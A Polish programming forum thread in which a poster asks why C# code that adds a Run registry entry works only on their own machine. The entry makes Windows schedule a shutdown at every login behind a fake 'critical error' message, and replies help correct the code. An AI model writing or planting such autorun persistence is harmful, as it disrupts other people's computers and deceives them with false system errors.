klucz do rejestru

0

witam! napisalem taki prosty wpis do rejestru, jednak dziala on tylko na moim komputerze, sprawdzalismy u kolegi i albo dodaje pusty klucz albo w ogóle nie dodaje. Co moze byc z tym nie tak? dodam od razu ze nie pragne komus zatruwać komputera itp..

 using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
            key.SetValue("SHUTDOWN -s -t 900","SHUTDOWN -s -t 900 -c \"Wystapil krytyczna blad. System windows zostanie zamkniety.\"");

        }
    }
}
0

Prawa admina ?

SHUTDOWN -s -t 900

dodam od razu ze nie pragne komus zatruwać komputera

Ok, przyjmijmy, że uczysz się ;-)

0

sprawdzałem na 2 kompach i na każdym byłem zalogowany jako administrator

0

Sprawdź gdzie w rejestrach znajduje się klucz pod który chcesz wstawić to coś.
http://msdn.microsoft.com/en-[...]oft.win32.registry.aspx#Y1596

0

Nie za bardzo rozumiem o co ci chodzi, chciałbym dodać nowy klucz do katalogu Run, a nie podmieniać z jakimś.

0

System ? Vista, Seven ?

0

A spróbuje tego: http://msdn.microsoft.com/en-us/library/ms128494.aspx
PermissionCheck ustaw na ReadWriteSubTree.

0

Ludzie o czym wy gadacie, autor postu próbuje wpisać coś w:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

0

Testowane było na sevenie, u mnie też jest seven. Tak jak _13th_Dragon pisze zależy mi na wpisaniu klucza o wartości "shutdown ..." do katalogu Run.

0

Ah jo, to powinno być tak:
key = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
key.CreateSubKey("nazwa_subkey") //o ile faktycznie chcesz zrobić subkey...
key.SetValue("nazwa", "value") //...a mi się wydaje, że chcesz dodać coś takiego

1 użytkowników online, w tym zalogowanych: 0, gości: 1, botów: 0